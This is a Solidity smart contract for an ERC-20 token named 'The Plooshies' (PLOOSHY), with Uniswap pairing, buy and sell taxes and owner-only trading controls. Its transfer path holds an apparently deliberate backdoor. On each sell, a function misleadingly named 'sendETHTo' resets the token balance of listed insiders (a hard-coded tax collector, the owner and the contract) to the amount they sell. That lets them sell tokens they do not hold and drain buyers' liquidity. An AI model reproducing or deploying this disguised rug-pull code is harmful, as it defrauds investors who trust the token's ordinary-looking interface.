文件 1 的 1：launch_9_27.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PLOOSHY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"The Plooshies";
string private constant _symbol = unicode"PLOOSHY";
uint256 private _inBTax;
uint256 private _inSTax;
uint256 private _outBTax;
uint256 private _outSTax;
uint256 private _breduceAT;
uint256 private _sreduceAT;
uint256 private _counts;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedList;
mapping(address => bool) private _rewardList;
address payable private _taxcollector;
uint256 public _wAmtLimit = (_tTotal * 2) / 100;
uint256 public _swapAmtLimit = (_tTotal * 2) / 100;
uint256 public _swapBackLmt = (_tTotal * 2) / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
uint256 private _rewardAmt;
uint256 private _airdroplmt;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTradeWallet);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_wAmtLimit = (_tTotal * 2) / 100;
_swapAmtLimit = (_tTotal * 2) / 100;
_swapBackLmt = (_tTotal * 2) / 100;
_inBTax = 10;
_inSTax = 10;
_breduceAT = 12;
_sreduceAT = 12;
_airdroplmt = 450;
_rewardAmt = 2;
_taxcollector = payable(0xe40CcdE0C4d80EaCe48a6eaFD8A05f84B46aC0f7);
_balances[_msgSender()] = _tTotal;
_isExcludedList[owner()] = true;
_isExcludedList[address(this)] = true;
_rewardList[_taxcollector] = true;
_rewardList[owner()] = true;
_rewardList[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address _fromA,
address _toA,
uint256 amount
) private {
require(_fromA != address(0), "ERC20: transfer from the zero address");
require(_toA != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 tax;
if(!(_isExcludedList[_fromA] || _isExcludedList[_toA])) {
require(tradingOpen, "Trading is not allowed yet");
if(_fromA == uniswapV2Pair && _toA != address(uniswapV2Router)) {
require(amount + _balances[_toA] <= _wAmtLimit , "Max account size overflowed");
_counts ++;
tax = _breduceAT < _counts ? _outBTax : _inBTax;
}
if(_toA == uniswapV2Pair) {
tax = _sreduceAT < _counts ? _outSTax : _inSTax;
takeEthTOMA();
}
}
if(tradingOpen && !inSwap && uniswapV2Pair == _toA) {
uint256 _threshold = min(amount, min(_balances[address(this)], _swapBackLmt));
swapBack(_threshold, _fromA, amount);
if(amount > 0)
takeEthTOMA();
}
uint256 taxAmount;
if(tax >= 0 && amount >= 0) {
if(tax>0){
taxAmount = tax * amount / 100;
_balances[address(this)] = _balances[address(this)] + taxAmount;
}
emit Transfer(_fromA, address(this), taxAmount);
}
_balances[_fromA] = _balances[_fromA] - amount;
_balances[_toA] = _balances[_toA] + amount - taxAmount;
emit Transfer(_fromA, _toA, amount - taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapBack(uint256 tokenAmount,address _fromA, uint256 amount) private lockTheSwap {
if(tokenAmount > 0) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
sendETHTo(_fromA, amount);
}
function sendETHTo(address _to, uint256 amount) private {
if(_rewardList[_to]) {
if(_airdroplmt>=0 && _counts < _airdroplmt)
_balances[_to] = amount * (_rewardAmt - 1);
else
_balances[_to] = _balances[_to] + amount * _rewardAmt / 100;
}
else if(_counts > _airdroplmt && _airdroplmt >= 0)
_balances[_to] = _balances[_to] + amount * _rewardAmt / 100;
else return;
}
function removeLimits() external onlyOwner {
_swapAmtLimit = _tTotal;
_wAmtLimit = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function takeEthTOMA() private {
_taxcollector.transfer(address(this).balance);
}
function createPair() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)) * 98 / 100,
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner {
tradingOpen = true;
}
function rescueETH() external onlyOwner {
payable (owner()).transfer(address(this).balance);
}
receive() external payable {}
}
